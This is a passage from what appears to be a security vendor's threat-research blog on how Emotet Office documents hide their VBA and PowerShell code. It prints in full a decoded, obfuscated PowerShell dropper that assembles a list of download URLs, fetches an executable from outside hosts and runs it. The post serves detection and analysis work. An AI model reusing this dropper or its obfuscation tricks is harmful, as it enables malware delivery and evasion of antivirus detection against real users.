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Summary
Malicious Microsoft Office documents are a popular vehicle for malware distribution. Malware families such as Emotet, IcedID, and Dridex use Office documents as their primary distribution mechanism. Several recent Emotet attacks used a novel approach to sending email baits and hosted the malicious documents in cloud apps to increase their success.
At Netskope, we apply a hybrid approach to malicious Office document detection that leverages a combination of heuristics and supervised machine learning to identify malicious code embedded in documents. From August 1st through September 23rd, Netskope’s Advanced Threat platform detected downloads of multiple zero-day Emotet samples distributed as Office document files targeting multiple Netskope customers. The samples revealed a trend of increasingly advanced obfuscation techniques being used to evade signature-based threat detection. This blog post describes the obfuscation techniques used in those samples, the details of which are listed in the IOC section at the end of this post.
Multi-layered obfuscation
Emotet Office document samples are typically Microsoft Excel spreadsheets or Microsoft Word documents that use WMI (Windows Management Instrumentation) and PowerShell to connect to their C&C servers and download their next stage payloads, which have included TrickBot, QBot, and Ryuk. In this section, we explain how the four Emoted samples listed in the IOC section hide their usage of these windows utilities by obfuscating their VBA code in multiple layers. Multi-layered obfuscation is a tool used by attackers to generate new Emotet documents that evade detection by signature-based AV software. We will use example code extracted from the sample e9afe010343209a2a0f2eb5ec56cdacc throughout this post.
The following sections describe three obfuscation techniques used in these samples:
- Constructing a PowerShell script at runtime
- Constructing WMI namespaces at runtime
- VBA logic obfuscation
Constructing a PowerShell script at runtime
Each of the samples hides the fact that it includes a malicious PowerShell script by constructing the script from an obfuscated string at runtime. The VBA code uses the InlineShapes object to construct the script as follows. The local variable Lauos9455c_0jekm is assigned a value extracted from the AlternativeText property of an image embedded in the document. The screenshot below shows this code in the debugger, including a preview of the AlternativeText which begins 62378623.
The following screenshot shows a larger snippet of the AlternativeText, which is the encoded PowerShell script.
At runtime, the alternative text is decoded to the PowerShell script below:
$Qky_zcr=('Oj'+('ba'+'44')+'1');
&('new'+'-item') $enV:usERprofILE\ix_U0eE\Da3Ipfv\ -itemtype DirECtory;
[Net.ServicePointManager]::"SEcUrit`y`pRotO`CoL" = (('tls12'+','+' ')+'tl'+'s'+'11'+(','+' tls'));
$P4d5bdi = (('Av'+'b')+('jjxx'+'_')+'b');
$Nldikqi=('E'+('2p'+'j7'+'jg'));
$Cf_yl7r=$env:userprofile+(('{0}Ix_'+('u0'+'ee')+'{0}Da3i'+'pf'+'v{0'+'}') -f[char]92)+$P4d5bdi+('.'+('ex'+'e'));
$Zzddnnl=('F'+'5d'+('l'+'o_y'));
$X474fy2=&('n'+'ew-obje'+'ct') NeT.webcLiENt;
$Qa9w58w=(('htt'+'p://'+'rese')+('ller-'+'de'+'m')+'o-'+'we'+'bs'+'i'+'te'+'.c'+'o'+'m/'+('di'+'scus')+('s'+'ion/qWWf'+'8F')+('S'+'/*'+'htt')+('ps'+'://w')+'ww'+('.m'+'o'+'ckdumps.c')+'om'+'/'+('t'+'est/'+'Z2pJ/*'+'h')+'tt'+('ps:'+'/')+('/t'+'wi')+('s'+'te')+('rp'+'ri')+('nt'+'.')+('co'+'m'+'/chro')+('me'+'the')+('me/V'+'cr'+'/*')+('h'+'tt')+('p://'+'s')+'im'+('u'+'la')+('tio'+'ns.or'+'g')+'/'+('rw_c'+'om')+('mo'+'n/'+'Kf')+'X2'+('MW/*htt'+'p:/'+'/p'+'la')+'n'+'o'+('s'+'des'+'audese'+'mc')+'a'+'re'+'nc'+'ia'+'.'+'co'+('m/'+'erros/')+'J'+('Ho'+'q/*ht'+'tp')+'s:'+('//viaje'+'-a')+('c'+'hina.')+'c'+'om'+('/wp'+'-')+('ad'+'mi'+'n/A1O8t')+'L'+('/'+'*ht')+('tps'+':/')+('/ce'+'ar')+('acul'+'tura'+'l'+'.'+'com.b')+('r/'+'t')+'u'+('r'+'is'+'mo/oy/'))."SpL`iT"([char]42);
$Y6tgzl_=('Un'+('w0m3'+'1'));
foreach($Wken8ig in $Qa9w58w){try{$X474fy2."d`ownLoadfi`Le"($Wken8ig, $Cf_yl7r);
$Ccx080r=(('Ad'+'bqm8')+'b');
If ((&('G'+'et-'+'Item') $Cf_yl7r)."lE`NgTH" -ge 23800) {&('In'+'voke'+'-Item')($Cf_yl7r);
$Tla1_sz=(('N'+'k_3m')+'yp');
Break;
$Ihmn14_=('J'+'f'+('wk'+'uj8'))}}catch{}}$K7wqzcd=('Y'+('joyro'+'y'))When executed, the script will download the next stage payload from the Internet using the WebClient Class of .Net Framework and execute it using Invoke-Item. The URLs from which it downloads the payloads are also obfuscated, referred to by the $Qa9w58w variable.
Constructing WMI namespaces at runtime
The Emotet samples execute the obfuscated PowerShell scripts using the winmgmt WMI service. To hide the fact that it uses WMI, the sample e9afe010343209a2a0f2eb5ec56cdacc constructs the WMI prefix from the obfuscated string beginning 62378 in the screenshot below.
